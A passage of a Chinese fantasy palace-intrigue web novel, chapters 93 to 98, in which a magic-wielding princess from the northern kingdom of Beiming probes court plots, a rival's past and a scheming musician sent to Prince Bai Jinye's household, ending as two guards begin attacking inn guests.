“别这么看着我,有时间不如去查查陆绝。”裴清歌把手里的树枝扔到一边,拍了拍手,“这坛子看着有年头了,不知道是谁把这坛子埋在这,那上面的封印的符咒贴了好几层,这些年应该陆续有人来加固过。陆绝既然不是第一个,那就证明他还有同党。” 白锦夜沉默了会,低声问,“这些术法,以前从未听人提起过,是北冥国才有的么?” 裴清歌抬眼看他,这么久以来,这还是第一次,白锦夜向她探听北冥国的事情,她沉默了会,也没有隐瞒,“我曾经以为,这些应该是北冥国才有的,但是现在看来,除了北冥国,懂这些术法的,也大有人在。” “那是北冥国传出来的么?”白锦夜又问。 裴清歌转过身,向院子外面慢慢走,“按理说,不应该传出来。北冥国的术法有严格的传承要求,家族相传,师徒相传,外传等同叛国重罪。” “若是有人离开了北冥国,在外面传授,北冥国的人又如何得知?”白锦夜看着她的背影。 裴清歌垂下眼,“有些事我不能跟你说,但是北冥国有令,任何人都不得私自离开北冥国,甚至于离开北冥国的路就只有一条,也不是所有人都知道。” 她说着顿了顿,“就像当年你外公他们九死一生才能抵达北冥国城下,北冥国的人出来,也不会好到哪去,况且又要承受被发现可能会死的惩罚,千百年来,几乎没有人离开。” “之前睢园的那位呢?”白锦夜想了想又问。 裴清歌回头看了他一眼,“我今天跟你说的已经够多了。” 白锦夜沉默了下,没再说话。 两个人一前一后地走了一段,裴清歌说了句,“我去和贵妃那看看。”就拐进了旁边的路。 白锦夜自然是不方便去的,他也没跟裴清歌,打算回去找陆绝探探。 裴清歌一摸进钟粹宫,就见到宫殿周围的阵法,这阵法很低级,想必和月如也就是为了起个警戒的作用,也没想拦着谁。 她只要越过阵法,和月如就会第一时间知道。 于是她也就干脆光明正大地走向和月如所在的亭子。 因着太医说和月如这疹子会传染,所以她也就以这个理由屏退了所有的宫人,现在这钟粹宫的后院,就只有她和她从西夜国带来的丫鬟流岚。 知道裴清歌进了钟粹宫,和月如就问过了流岚,才想起今天是中秋。 她一边吃着荔枝一边打量着裴清歌,“裴夫人和本宫家传戒指的事情解决了,本宫这才想起来,咱们好像还有点其他的事没解决。” 裴清歌笑了笑,“是啊,洪都的事,还没解决。” 和月如挥退了流岚,沉默了会,才道,“王妃,本宫不跟你绕弯子,本宫与肃亲王合作,有段日子了,本宫想找这戒指,王爷想治好他的母妃,各取所需。” “只不过王爷总是跟本宫打马虎眼,本宫倾尽所能帮他母妃寻求治病良方,也没换来王爷的诚心。” “现在戒指已经找到了,他和他母妃的事,本宫也懒得管,只要不再碍着本宫,本宫不会再插手你们肃亲王府的事。” 她以前还能控制白锦夜,如今已经丝毫没办法影响他,这大概跟白锦夜身上的阵法有关。 而这阵法,显然是裴清歌画下的。 她破不了裴清歌的阵法,就证明裴清歌的能力在她之上。 况且上次在洪都,还有个能一出手就直接破了她的御尸术又打伤她魂魄的人在裴清歌身边,她眼下再跟肃亲王府作对,就是自讨没趣。 反正戒指已经找到了,只要她破解了戒指上的秘密,其他的还重要么? “贵妃这样说,那我也安心了。”裴清歌说完便要走,似乎是走了两步才想起什么,转头看向和月如问道,“和贵妃,你也不会再往王府插人了吧?” 和月如不屑地笑了声,“只有皇后那样无聊的人才会直接插人,本宫能御尸,就能御鬼。” 裴清歌了然,所以陆绝不是和月如的人,“那就预祝,贵妃心想事成。”她说着扫了一眼桌面上倒扣的几张纸,那大概就是从紫莲戒上拓下来的阵法,随后便迈步离开了。 和月如眯眼看着裴清歌的背影,指尖轻轻地点着那几张纸,看样子这肃亲王妃,对紫莲戒知道的要比她想象的多呢。 第93章 八字已经有一撇了 白锦夜离开的时候,皇上正带着众人在看舞姬跳舞。 回来的时候,殿上只有一个白衣女子蒙着面纱在弹琴,他回到自己的位置,刚坐下片刻,琴曲便结束了。 白砺寒看向白锦夜,“皇弟,你刚刚可是错过了今晚最精彩的表演,太可惜了。” “是么?”白锦夜的目光在白衣女子身上转了一圈,这女子不是着宫装,应该不是宫中的人,大概是谁带进宫来,特意讨好皇上的。 白砺寒抚了抚掌,“肃亲王常年在军中,刚才那靡靡之音大概觉得无趣,你就再为肃亲王弹一曲吧。” 白锦夜微皱了下眉,白砺寒这话说出来,就带着些耐人寻味了,为他弹一曲,他若说好,说不定这人就要赏给他了。但刚刚白砺寒已经说了是今晚最精彩的,他若说不好,就是打白砺寒的脸了。 于是便开口拒绝,“皇兄,臣弟只是不懂音律,不喜此道。” “诶。”白砺寒抬手制止了下,“听完再说。” 堂上的女子对着白砺寒福了福,又转身对着白锦夜行了一礼,才重新坐下抚琴。 刚刚还是花好月圆的琴曲,如今既然是弹给白锦夜听,就弹了曲《关山月》。 白锦夜垂眸端起茶杯,喝了口茶,脸上带了几丝漫不经心。 曲毕,白砺寒就带头鼓了掌,又看向白锦夜,“皇弟,这下能对你胃口了吧?这游姑娘是扬州前任知府游建章的女儿,当年去游府提亲的人,可络绎不绝,可惜游建章获罪后,游姑娘就入了奴籍。” “朕听闻你府上没乐姬没舞姬,连个消遣的人都没有。以后有游姑娘在身边,你也不必总是往军营跑,既然回了京,就轻轻松松的过段时间。” “皇兄……”白锦夜张嘴就想拒绝。 “皇弟,皇兄一番好意,你可不能辜负了啊。”白玉衡打断了白锦夜的话,“这可是前些日子,皇兄特意嘱咐,我寻觅良久才找来的,你府上太冷清了,多个人弹弹曲,说说话没什么不好。游姑娘琴棋书画样样精通,好过你总是自己对弈吧?” 白锦夜没理会白玉衡,站起身看向白锦夜,“皇兄,臣弟新婚不久,和王妃感情甚笃,还请皇兄给游姑娘另寻去处。” “皇弟,这话就不对了。”白玉衡又道,“皇兄又不是给你赐侧妃赐妾,不过是个乐姬,王妃不也同样可以听听乐曲打发时间么?难道王妃连这醋都吃,那你府上以后岂不是连丫鬟都不能有了?” “晚星仰慕王爷已久,绝无多余的心思,只望王爷给晚星一个栖身之所。”游晚星也起了身,走到白锦夜的面前,屈膝跪了下去,她垂着眼,睫毛轻颤,掩去眼底的几丝屈辱。 “游姑娘,谢恩吧。”白玉衡淡笑道,“以后可要好生伺候肃亲王。” “是。”游晚星转身对着白砺寒磕头谢恩,然后起身站在了白锦夜的身后。 白锦夜重新坐下,但面色不虞,抬眼看向坐在对面的白玉衡。 白玉衡倒是笑着向他举起茶杯示意,他侧过头,也没理会。 * 裴清歌从和月如那边出来,就在御花园里闲逛。 又听了几个宫女和太监的魂魄给她讲了以前的旧事,正听得津津有味,钟楼那边就传来酉时的钟声,她只好起了身,去麟德殿赴宴。 陆绝果然是和白玉衡一起来的,席间还来了他们这边敬酒,说了些感谢以前白锦夜照顾一类的片汤儿话。 白锦夜喝了他敬的酒,才开口问,“你去了衡王府,连香囊的香草都换了,莫不是衡王不喜欢以前那香味?” 陆绝微怔了一下,倒是没想到白锦夜会注意这些,便顺着他的话点点头,“是啊,没办法,终归是寄人篱下。” 白锦夜轻笑,“确实,以前那香味很特殊,乍一闻是怎么不喜欢,但闻久了倒是觉得那香味特殊,相比之下,其他的香囊就显得平庸了,以前都没有问过你,是什么香草?” “王爷若是喜欢,回头我送些去王府。”陆绝没回到是什么香草,只是简单地带了过去。 “好,那本王就等着了。”白锦夜也没多问。 陆绝脸上带了几丝犹豫,又想了会,才低声道,“王爷,游家两年前获罪,游姑娘其实是一年前衡王从扬州带回来的,这一年都养在府上,与衡王关系……甚密。” “如今我在衡王府上,这话本不该说,但毕竟与王爷相识一场,还望王爷多小心,我也只能言尽于此了。” 白锦夜看着他,他如果真的把游晚星带回去,自然也会去查她的底,这些他不费什么力气就能查出来,陆绝现在来跟他说,是拿没用的信息来示好。 对衡王来说不损失什么,但又好像陆绝还担心着他的安危。 “陆神医。”裴清歌撑着下巴看着陆绝,“你来宫中赴宴,怎么也不穿身干净的衣服,你瞧你这衣摆沾了好多泥土。” 陆绝皱了下,低头看着衣摆,果然最下端沾了些泥土,“想是路上不小心,多谢王妃提醒。” “那你可别到处走了,被人看见,丢的可是衡王的脸。”裴清歌端起茶杯,喝了口茶,转眼看向别处。 陆绝没再说话,对着白锦夜作了个揖,转身离开了。 裴清歌用余光瞄了陆绝一眼,他衣摆上的泥,是她御鬼蹭上去的,但凡陆绝懂些什么,都能感觉得到。 但他毫无察觉,就证明他只是帮人办事,人家让他做什么他就做什么,他甚至可能都不知道他刚刚贴的符咒是干什么用的。 如此,她也就放心地遣了个魂魄一直跟着陆绝,既不怕他发现,而且只要他和背后的人碰面,她也就能第一时间知道。 晚宴结束,白锦夜和裴清歌从麟德殿离开,刚走了几步,游晚星就追了过来,“王爷。”她没资格进麟德殿赴宴,只能等在外面。 裴清歌转身打量了一眼这白衣姑娘,想起刚才陆绝的话,原来是有人给白锦夜塞人了,她看向白锦夜,眼里带着几丝调侃,“看样子,关于子嗣这件事,八字已经有一撇了。” 第94章 你发誓,有生之年不会再回北冥国 白锦夜皱了下眉头,没有理会游晚星,只是看向裴清歌,“本王会着人给她安排个去处。” 裴清歌没说话,白玉衡这时候往肃亲王府塞人,也不知道要干什么。 她还打算中秋后就从王府里搬出去,现在王府里也没什么外人,她在不在王府,也不会有人注意并且到处乱说。 但白玉衡塞了个人就不一样了,早晚会发现她不在王府,到时候说不定又有什么麻烦。 和月如说的还真是对,只有无聊人的才会想着塞人。 裴清歌不说话,白锦夜侧头看着她,这事也不知道从何解释,只想着出了宫,赶紧让左辞把人弄走。 左辞看到有个姑娘跟着白锦夜和裴清歌一起出来,先是瞪大了眼睛,然后又揉了揉,不是吧?谁这么缺德,王爷和王妃刚刚才有一点点进展,就给王爷塞人? “你给游姑娘找个住处。”白锦夜看着左辞说了句就上了马车。 “王爷。”游晚星往前跟了一步,站在马车边,“王爷,我真的没有非分之想,只是……只是我爹和我的哥哥弟弟流放,就在幽州,我知道王爷驻军在幽州,我只想在有生之年再见见家人。” 她说完,马车里却没什么动静。 这事裴清歌觉得跟自己无关,也正要上马车,却见游晚星转身朝她跪下,抬手抓住她的衣摆,“王妃,求你让我跟着王爷,我自知戴罪之身配不上王爷,真的不会妄想,只求王爷和王妃给我个栖身之地,将来王爷回幽州的时候,带上我,我做牛做马,都会报答王爷王妃的恩情。” 白锦夜掀开窗帘,看向左辞,“左辞,你是死的么?赶紧把人带走,她想去幽州,就去帮她销了奴籍,再给些盘缠,让她去幽州就是了。” 游晚星微怔了下,似乎没想到白锦夜会这么说。 裴清歌把自己的衣摆抽回来,看着她的表情,微微勾了勾唇,上了马车。 左辞也赶紧拉住游晚星,示意车夫赶紧走。 车夫会意,迅速的赶着马走了。 看着马车远去,游晚星死死地捏着衣角,她虽然入了奴籍,但曾经也是扬州第一才女,她更自信自己的样貌不输任何人,她已经如此放低姿态,难道白锦夜连看她一眼都不愿意么? 裴清歌透过车窗,看着一直盯着马车的游晚星,半响才回过头,“王爷可真是没情趣,那不过就是个借口而已,王爷还当真了?” “不是她自己要去见家人,本王理解错了?”白锦夜抚了抚袖口,隔了会又道,“替她销奴籍,再给些盘缠,帮她和家人团聚,这也算是做好事积德?” “嗯,真是积了大德。”裴清歌看着他,“游姑娘全家都感谢你。” “你见到了和月如?”白锦夜没再继续这个话题,转而问道。 “见了。”裴清歌顿了顿补充,“她说跟王爷的合作也就到此为止了,她认为紫莲戒王爷早就找到了紫莲戒,只是王爷迟迟不肯拿出来。反正现在紫莲戒她也拿到了,不想再跟王爷这种没诚意的人合作。” 白锦夜看着裴清歌,觉得她是意有所指,“之前她说拿到紫莲戒就能救母妃,但本王实在想不通,一个戒指怎么救人,问她她又不肯说。合作这种事,确实需要诚意,本王只是也没怎么看出她的诚意。” “戒指当然救不了人,就算你把戒指给他,她也救不了。”裴清歌笑了笑,“不然王爷不如跟我合作,提个条件,我若能做到,就把紫莲戒给我。” 白锦夜垂眸看着膝盖,没有说话。 “王爷想想吧,你留着紫莲戒没用,还会惹来杀身之祸。”裴清歌继续道,“你现在提条件我还能帮你做点什么,等到年底,王爷万一真的没命活着,那时候紫莲戒说不定要落在谁手上了。” “紫莲戒有什么秘密?”白锦夜抬起眼,“为什么你们都想要它?” 裴清歌轻笑了一声,“其实紫莲戒没什么秘密,但我这么说,你可能也不信。” “既然没什么秘密,那就是某种象征。”白锦夜猜测道,“就像是玉玺?某种身份的证明?” “算是吧。”裴清歌没有否认。 白锦夜思索了片刻,才再次开口,“本王可以把它给你,但本王也确实有条件。” “你说。”裴清歌说完又立刻补充,“你不能让我帮你改命,到年底就剩三个半月,我现在的能力扛不住天谴。虽然天谴不一定马上到,但无论将来哪一天,就算我能扛过去,大概也就成个废人了。除了这个,剩下的条件你随便提。” 白锦夜看着她,像是在想什么。 “如果你只有这一个条件,那就算了,我可以等你死了,再把紫莲戒拿回来。”裴清歌说着转过头,看向马车外面,显然是不打算谈了。 “你放心,本王没想这个。”白锦夜这才开了口。 裴清歌微皱了下眉,才又看向他,“好,那你提的条件之外,我可以给张太妃再配些药,催她尽快醒过来,让你们能多团聚些日子。” “不必。”白锦夜摇了摇头,“这件事就顺其自然,那日母妃短暂清醒的时候,其实并不记得本王,在她的记忆里,本王始终不过是六七岁的模样。现在团聚些日子,又要马上死别,对母妃而言,不是更痛苦?不若什么都没有。” “她若年前能醒,本王自当尽孝。若是不能……也好过她白发人送黑发人。” 裴清歌抿了抿唇,等张太妃醒来,关于她成为肉尸的这段时间的记忆,就全是空白。 而且她成为肉尸太久,说不定醒来后对以前的记忆也会有影响。 所以白锦夜的顾虑也未尝没有道理。 不过此刻看起来,白锦夜的心境倒是有了不小的变化。 之前他急着治疗张太妃,希望在他死前能看到张太妃康复。 如今倒是平和了不少,“那你的条件是什么?” 白锦夜抬眼看她,“本王的条件是,如果本王把紫莲戒给你,你发誓,有生之年不会再回北冥国。” 第95章 故人归 裴清歌微怔了一下,别开眼,看向远处,她倒是没想到白锦夜会提出这样的条件。 “你可以慢慢考虑。”白锦夜看着她,“不过本王会把紫莲戒放到一个任何人都找不到的地方,如果本王死了,你去找大概也要耗费不少时间,甚至是余生。” 他的命如果只能到年底,那么阻止裴清歌回北冥国的事,他也就只能做到年底。 等他死了,裴清歌要去哪里他都管不着了。 或许只有这样,才能让她不再回北冥国。 裴清歌微微抓住衣襟,师父也说让她不要再回北冥国。 可她真的能不再回去么? 她要去找到师父,而且冷鸢也还在圣殿。 还有那么多问题没有答案,她无论如何都得回去一趟。 她皱了下眉,才转眼看向白锦夜,“这个,我也做不到。” 白锦夜的眉头也蹙起来。 “你放心,北冥国对任何一个国家都没有敌意,北冥国的人也不会用术法害人。我回去之前,会查清和月如和陆绝的事情,你不用担心北冥国会对天风国有威胁。” 裴清歌只以为白锦夜在为天风国的安危着想,便开口解释道,“我可以保证,十五年前,北冥国绝对没有做伤天害理之事,到最后反击,也不过就是自卫。” 白锦夜略微沉默了会,十五年前的旧事也不愿意多提,便问,“那你打算什么时候回去?” “不好说,不过年底之前应该不会回去。”裴清歌回道。 白锦夜轻轻地叹了口气,也就是说,至少在他活着的时候,倒是不用想怎么阻止她回去了。 * 左辞随便给游晚星找了个客栈,付了钱便要离开。 “等一下。”游晚星追出客栈门口。 左辞有些不耐烦地转头看她,“你在这住着吧,等安排好了,你就可以去幽州和家人团聚了。” “可……”游晚星有些局促的模样,“幽州是重镇,我一个弱女子,怎么长途跋涉去那么远的地方?你能不能帮我跟王爷求求情,我呆在王府,哪怕就是下人房都行,我可以连门都不出,不打搅王爷和王妃,只有等王爷回幽州的时候记得带上我,我真的感激不尽。” 左辞拧了下眉,王爷什么时候回幽州都还没有打算,把她弄回去,万一出点幺蛾子可怎么办?“你放心,我会派两个人送你,保证安安全全的把你送到幽州。” 这点小事,左辞觉得自己就可以做主了,也根本没必要再去烦王爷。 游晚星咬了咬唇,才道,“那就有劳了。” 左辞没再说话,迈步走了。 游晚星看着左辞的身影彻底消失,脸上柔弱的表情消失得一干二净,转身慢悠悠地走回房间。 推开门,便见到一个白袍人坐在房内喝茶。 白袍人放下茶杯,轻笑了声,“连王府的大门都进不去,还不如陆绝。” 游晚星走到他对面坐下,给自己倒了一杯茶,“你懂什么?对付白锦夜这种人,不能操之过急。” “陆绝夜当年也这么说,那就希望你别像他一样,呆了三年,最后还是让主子失望。”白袍人说着站起来。 “就让主子等好消息吧。”游晚星瞥了他一眼。 白袍人没再说话,从窗子翻出离开了。 游晚星冷哼一声,自言自语道,“拿我跟陆绝比,他算是个什么东西?”她说着摘下面纱,看着铜镜里自己的面容,“白锦夜,你一定会栽在我手上的,咱们走着瞧!” * 裴清歌是第二日到了铺子算卦的时候,听排队的人八卦,才知道昨天裴府格外的热闹。 那孟家不知道是不是故意的,特意在中秋节这一天跑到了裴家提亲。 虽然来了不少人,但彩礼就拎了一篮子鸡蛋,态度极其嚣张,说人已经在孟家了,裴家同意就结亲,不同意那裴玲珑就只能在孟府没名分地住着,反正孟家是不在乎的,丢的只是裴家的脸。 姚氏当场就气晕了,裴靖跑到京兆府去告状,说孟家拐骗他女儿。 京兆府那边早就有所耳闻,也没受理。 裴靖直呼要告御状,可昨天是中秋节,他也不敢真的进宫去见皇上给皇上添堵。 大概今日上朝的时候,会跟皇上痛哭流涕吧。 不过云澜已经跟裴靖和离,裴清歌觉得裴府的事也跟她没关系了,于是就当听了个笑话。 裴清歌在一楼算卦,桑榆已经手脚麻利的把二楼都收拾妥当了。 装修好第一天开张,裴清歌关门也早。 左辞带着她上楼,“外面这间是鬼卿的房间,然后里面的这间是王妃你的房间,分了个小隔间给桑榆来住,属下和钟栖住在后院,王妃你看怎么样?” 裴清歌扫了一眼,她对这些本来要求也不高,左辞也是费了一番心思,她看着很是满意,“走,请你们一起去好好吃一顿,明天开始咱们就要努力赚钱了。” 左辞也不知道王妃为什么非要自己赚钱,王爷明明那么有钱,况且王爷对人也不吝啬,但凡王妃想用钱,王爷还能不给么? 不过看着裴清歌乐在其中,又能带着他一起赚钱,这一点点疑问他也就瞬间抛之脑后。 到了酒楼,他找老板安排了个包间,开始还推托不敢坐下来跟裴清歌同桌吃饭,但一壶酒下肚,就开始搂着裴清歌的肩膀称兄道弟。 钟栖看不下去,但也拉不开,最后就把剩下的酒都换成了水,左辞吵着这酒味道太淡,要找老板评理。 看着他的醉态,桑榆在一旁偷偷乐,她一下子就觉得搬出王府真是一件好事,没了那么多规矩,一定每天都会过得很开心。 左辞倒是没吵一会就睡着了,趴在桌上还在说着让白锦夜带他上阵杀敌的梦话。 裴清歌看着他微微勾了勾唇,眼底闪过一抹就连她自己都没察觉到的羡慕。 到了八月底,裴清歌照例早起起卦,卦象显示有故人归。 她在这里认识的人也不多,能称得上是故人的,也就只有鬼卿了。 果然下午的时候,鬼卿就风尘仆仆的从西夜国回来了。 第96章 裴姝 裴清歌赶紧说完正在算的这个卦,就拉着鬼卿去了楼上房间。 左辞的目光一直跟着两个人的身影消失,才对着钟栖比了个噤声的手势,然后悄悄跟到了二楼,可是把耳朵贴在门上听了好久,也没听到房间里有什么动静。 鬼卿坐在桌边,转头看向房门。 裴清歌示意他无事,便抬手按上了他的眉心。 左辞听了半响,无功而返,坐在楼下,支着下巴看着楼上。 钟栖在吃花生,他瞥了左辞一眼,“你们家王爷都不管这些,你急个什么劲儿?” “就因为王爷不管,我这才不是得多上点心么?”左辞说着压低声音,“万一王妃跟人跑了,王爷哭都找不着北。” “可我感觉你们王爷不太会哭的样子。”钟栖又道。 “你不懂,我们王爷……”左辞想了会才压低声音,“我们王爷有点反应迟钝。” “说得你好像很有经验一样。”钟栖往楼上看了一眼,“还好我们家王爷在这事上不需要我们操心。” “哎。”左辞叹了口气,关键是这不仅仅关乎他家王爷的幸福,更关乎他家王爷的性命啊,他家王爷怎么就不能让他省省心呢。 * 差不多一炷香,裴清歌才收回手,脸色难看又凝重,“裴姝……原来她没死!” 裴姝是裴清歌师父那一任的圣女最终候选人之一。 她跟鬼卿说,在结果公布之前,她和其他剩下的几个人被带到一处池子,沐浴焚香,为明日的结果做准备。 这件事,裴清歌也是经历过的,不过大家不会一起进去,而是轮流进去。 那池子里面的水是红色的,微微有些黏稠,像是血,但又没有血腥味。 但裴姝说,她自从被圣女收为徒弟之后,几乎每一天都在训练,每一天都在经受考验,在她的心里,所有的考验一定是为了最后只剩下一个人。 可当时还有好几个人,所以她就觉得事情肯定没有那么简单,恰好她又是排在最后一个,于是就迷晕了看着她的丫鬟,偷偷过去看。 在她前面的几个人,除了裴清歌的师父以外,剩下的人刚进池子的时候还没什么异样,但很快就像是遭受到了巨大的腐蚀一般,痛苦的嚎叫,挣扎着从池子里爬出来,但爬不了多远,就会化成一滩血水。 随后便会有肉尸面无表情的把血水打扫干净,再叫下一个人进去。 这一路考验走来,身边的人不断死去,看到这一幕,裴姝甚至觉得这才是正常的。 裴姝想当圣女,但是她还不想死,她艰难的活到这一天,不是为了死的这么痛苦。 她没有勇气参加这最后一道考验,于是没等人来叫她,就连夜跑了。 她一路逃到了西夜国,遇到了西夜国国君,成了西夜国王后。 离开这么多年,其实她也一直好奇,如果她进了那池子,会像裴清歌的师父一样无事,还是会和其他人一样殒命。 但不管怎么样,这事过去了那么多年,她本来应该放下了。 可前几年,她无意间得知裴清歌的师父带着紫莲戒一起失踪了,于是她的心思就又活泛了起来。 当年留下的疑问,现在成了遗憾,她甚至觉得,如果她当时没有逃跑,那么最终成为圣女的,说不定就是她。 所以她把膝下的两个女儿和月如以及和月薇分别嫁到了天风国和东凉国,让她们寻找紫莲戒。 她想着,只要找到紫莲戒,她就可以回到北冥国,这也算是戴罪立功,而且以她的实力,继任圣女绰绰有余。 她之所以把这些都告诉了鬼卿,是因为以为鬼卿是北冥国派来抓她回去的人。 她希望能再给她点时间,她一定能带着紫莲戒回去将功赎罪。 鬼卿本来就是来打探消息,也不可能真的把裴姝带回去,于是也没多说,就离开了。 他怕裴姝派人跟着他,于是从西夜国出来,先往月城那边走了一圈,确认没人跟踪之后,才回了盛京。 “事情没有她说的这么简单。”裴清歌眯了眯眼,“师父继任圣女,是十八年前,那会裴姝逃到了西夜国,三年后——也就是十五年前,就由西夜国牵头发动了‘围北之战’,要说‘围北之战’跟裴姝没关系,我可不信,怪不得当时三国的大军能穿过鬼王沙漠。” 裴清歌轻轻叹了口气,想找师父没找到,竟然突然冒出来个裴姝。 “只不过……那池子的事情……”她说着手握成拳,她那时沐浴后没觉得有什么异样。 师父让她好好休息,第二日不要迟到,她就回去了。 她第二日到圣殿的大堂的时候,才发现只有她一个人,她问师父其他人怎么没来,师父说因为最终选出来的圣女人选是她,其他人都已经离开了。 她当时也没想那么多。 可现在看,如果按照裴姝的说法,那就是其他人都死了,只剩下她自己。 那么,那个池子,确实是最后一道考验。 本来在她继任圣女之后,应该由师父来告诉她所有关于圣女的秘密,以及这些传承之事,但她师父失踪,这些她确实无从得知。 裴清歌站起身,走到窗边,向外面路上的行人,半响之后才道,“你还没找到她,她就发现你的存在了,可见她这些年在西夜国布置了无数的阵法,一旦有北冥国的人出现,她就立刻会知道。她直接现身,给了你这么一套说辞,大概也是这些年早就想好的。” 上一次围北之战,是裴姝到西夜国三年后,之后的十五年都没什么动静。 如果她一直都没有死心,那这十五年一定是在密谋更大的局。 裴清歌抬起手,轻轻地敲着窗棂,“你去了这一趟,她估计以为自己的行踪暴露了,不管再想做什么,都会加快速度,只能先打发你,争取些时间。” 如今天风国和东凉国的国君身边各有裴姝的女儿操控,三国想再联合一次,那可要比十五年前容易多了。 而白锦夜驻军的幽州以及去北冥国的必经之路月城,应该就是裴姝接下来要尽快搞定的目标了。 裴清歌转过身,“来回这么多天,你先好好歇歇吧,我先想想,有什么打算我再跟你说。” 鬼卿微微点头。 裴清歌便下楼继续去算卦了。 她刚走,鬼卿就感觉到了什么,起身走到房子另外一侧的窗边,抬手把窗子推开了一个缝隙,见到白锦夜站在不远处的一个巷子口。 两个人的目光在空中交汇半响,鬼卿彻底推开窗子,跳出去,朝白锦夜走过去。 第97章 她为北冥国国君而生 白锦夜见鬼卿走过来,才转身往巷子里面走去。 从一个不起眼的门进去,里面倒是别有洞天。 鬼卿四下打量了一圈,最后跟着白锦夜进了后院的一个小亭子。 小亭子里有炭火,白锦夜坐下后,便自己动手烧水沏茶,等他沏好茶,才抬眼看向鬼卿,“尝尝,据说这茶如兰在舌,回味绵长。” 鬼卿看了看他,才在他对面坐下,端过茶杯一饮而尽。 白锦夜继续道,“这茶每年产量只有几斤,物以稀为贵,这还是今年本王归京,皇上赏赐了一小罐。”说完他抬眼看向鬼卿,“好喝么?” 鬼卿放下茶杯,“我不会,品茶,我们,几乎,不喝茶。” “是么?”白锦夜垂下眼。 “没人种茶。”鬼卿又道。 白锦夜沉默了一会,看着茶杯里茶,“你成了冥尸之后……”他说着,又像是不知道该怎么问下去,顿了半响,才继续问,“和以前有什么不同?” 鬼卿看了看桌上的茶罐,大概意识到了什么,便说,“味觉,还在。” 白锦夜笑了笑,“本王也不是贪图口腹之欲的人,比如说——你会睡觉么?” “不需要。”鬼卿摇了摇头,“想睡,也可以睡。” “那就好。”白锦夜点点头,那个女人说,他只要睡觉就可以开冥路,所以就算他成为冥尸,也还是可以继续做这件事。 她还说这世上能开冥路的,可能就剩下他一个人。 那裴清歌说的成了冥尸不老不死,倒好像是专门为他准备的了。 “你,准备好了?”鬼卿问他。 白锦夜轻轻地摇了摇头,“不过如果万不得已……”他说着叹了口气,也没再往下说,只是端起面前的茶杯,轻轻抿了一口。 空气静谧了大半响,白锦夜才再次开口,“你和裴……你和她认识很多年了?” 他本来想说裴清歌,但又想这也不是她本来的名字,于是也就改了口。 鬼卿垂眼看着桌面,隔了很久,才开口,“裴子墨。” 白锦夜倒是没想到鬼卿会说出她本来的名字,眼底闪过一抹诧异。 “我八岁,她两岁,我把她,当妹妹。”鬼卿继续道,“她和其他人,不一样。” 白锦夜思索了会说,“本王能感觉到,她没有太多情绪起伏,这种感觉说不清楚,就像是理智永远占据上风,对所有人都平淡如水。但倒是也可以和人正常相处,像是左辞、桑榆,对她好的人,她也友善。对她不好的,伤害过她的……她似乎也没有多厌恶。” “嗯。”鬼卿点点头,微微皱了下眉才说,“只要,不危害北冥国,不伤害国君,其他的事,对她,无所谓。” “从她修习,术法开始,断七情,斩六欲。除非,是她小时,认识的人。否则,就只有北冥国,和国君。” 鬼卿说着皱起眉头,“那样,也并不好。” “你的意思是说,除非是像你这种,她从小就认识,有了一定情感基础的人,剩下的人在她心里,就分成了两类,一类是对北冥国有威胁的,是敌人,另外一类就是对北冥国没有威胁的,她也根本就不在乎,是么?”白锦夜问道。 “可以这么说。”鬼卿点点头,“她为国君,而生。” “什么意思?”白锦夜看着她。 “我也不懂,她自己,这样说。”鬼卿眉头皱的更紧,他也并不是所有的事情都清楚,毕竟圣女的秘密,也不是他能知道的。 他只不过是因为自小生活在圣殿,又跟裴清歌的关系好,才会多了解一些。 “那个有紫莲戒的人,是你们什么人?”白锦夜又问。 鬼卿知道紫莲戒在白锦夜的手上,倒也没有隐瞒,“师父。” “她是你们师父……”白锦夜顿了顿,手微微握了下拳,才说,“她不久前又来了一次,私下见了本王,她说让本王阻止裴……子墨回北冥国,她说如果她回去的话,会死。” “本王大概是阻止不了她的,如果不成冥尸,本王的命不剩多少时间,如果成了冥尸,也更没办法阻止她。但是你们师父看起来不想让裴子墨知道太多关于她现在的事情,所以暂时也没有自己去见她的打算。” “如今你也知道了,你劝她总比本王劝管用。” 鬼卿看着白锦夜,上次裴清歌跟他说,她如今的情况可能是师父故意安排的,师父又通过白锦夜告知让裴清歌再也不要回北冥国,他微微眯了眯眼,“师父,在哪,在做什么?” “本王不知道。”白锦夜摇了摇头,“前年是在月城见到,今年是在京城。不过她说她马上就要离开天风国,至于去哪要做什么,也不可能告知本王。” 鬼卿见白锦夜似乎也没什么问题了,起身便要离开,走了两步,又想起什么,转身看向白锦夜,“你说伤害她,是谁?” 白锦夜的手握了下拳,“最开始的时候,本王对她……有些敌意。” 鬼卿微微眯了眯眼,没再说话,迈步离开了。 白锦夜收回目光,看着面前已经空了的茶杯,微微叹了口气。 * 傍晚,裴清歌正要叫左辞关门的时候,便见有个侍卫来找他,在他耳边低声说了几句话。 左辞的脸色一下子就变得有点难看,“王妃,属下有些事要处理,处理好了就回来。” 裴清歌看了他一眼,见他印堂飘了一抹青色,便一边收拾桌上的纸笔一边问,“什么事?” 左辞的脸色有些尴尬,好一会才挠着头说,“就是之前那个游晚星,王爷不是说让她去幽州么,她一个姑娘家,哭哭啼啼的说这么远,一个人不敢去,属下就派了两个人去送她。” “刚才驿站那边来报,说是出了事,属下得过去看看。” 裴清歌抬眼瞄了他一眼,“驿站?” 左辞点点头,“王府,那属下就先出发了?” 裴清歌继续垂头收拾东西,微微勾了勾唇角,问,“你确定不需要我跟你一起去?” 左辞已经转身走了两步,但听了裴清歌这话,又停了下来,他重新回到裴清歌面前,脸上尴尬的神色更明显,“这事确实不好麻烦王妃,但听传信的人送,送游晚星的那两个侍卫,突然发疯了一样的咬人,要不……王妃一起去看看?” 第98章 肃亲王府果然有猛人 驿站倒是不远,骑快马午夜前就到了。 裴清歌盘算着京城到驿站的距离,“这不就是刚出了京城?” “哎。”左辞叹了口气,“昨天早上就出发了,游晚星说自己不会骑马,大概……脚程比较慢吧。” 裴清歌没有说话,驿站里灯火通明,不少人坐在大堂,脸上都带着心有余悸的模样。 附近的官府也派了人来,院子里就有官差,大堂和二楼也有几个官差。 游晚星坐在一个角落里低声啜泣,看着是驿站老板娘模样的人在她身边安慰着。 左辞对着官差亮了腰牌,见是肃亲王府的人,领头的官差就带着他往没人的角落走,裴清歌也就跟了过去。 见是跟着左辞一起来的人,官差也没阻止,到了角落,他才压低声音道,“听老板和老板娘说,今日王府这两位侍卫带着那姑娘,来驿站投宿。来的时候还好好的,他们回去整理了下,就下楼来吃晚饭。” “小二上菜的时候,那俩侍卫也不知道怎么了,突然抓住小二的胳膊就咬,然后就跟疯了一样咬在这吃饭的客人。” 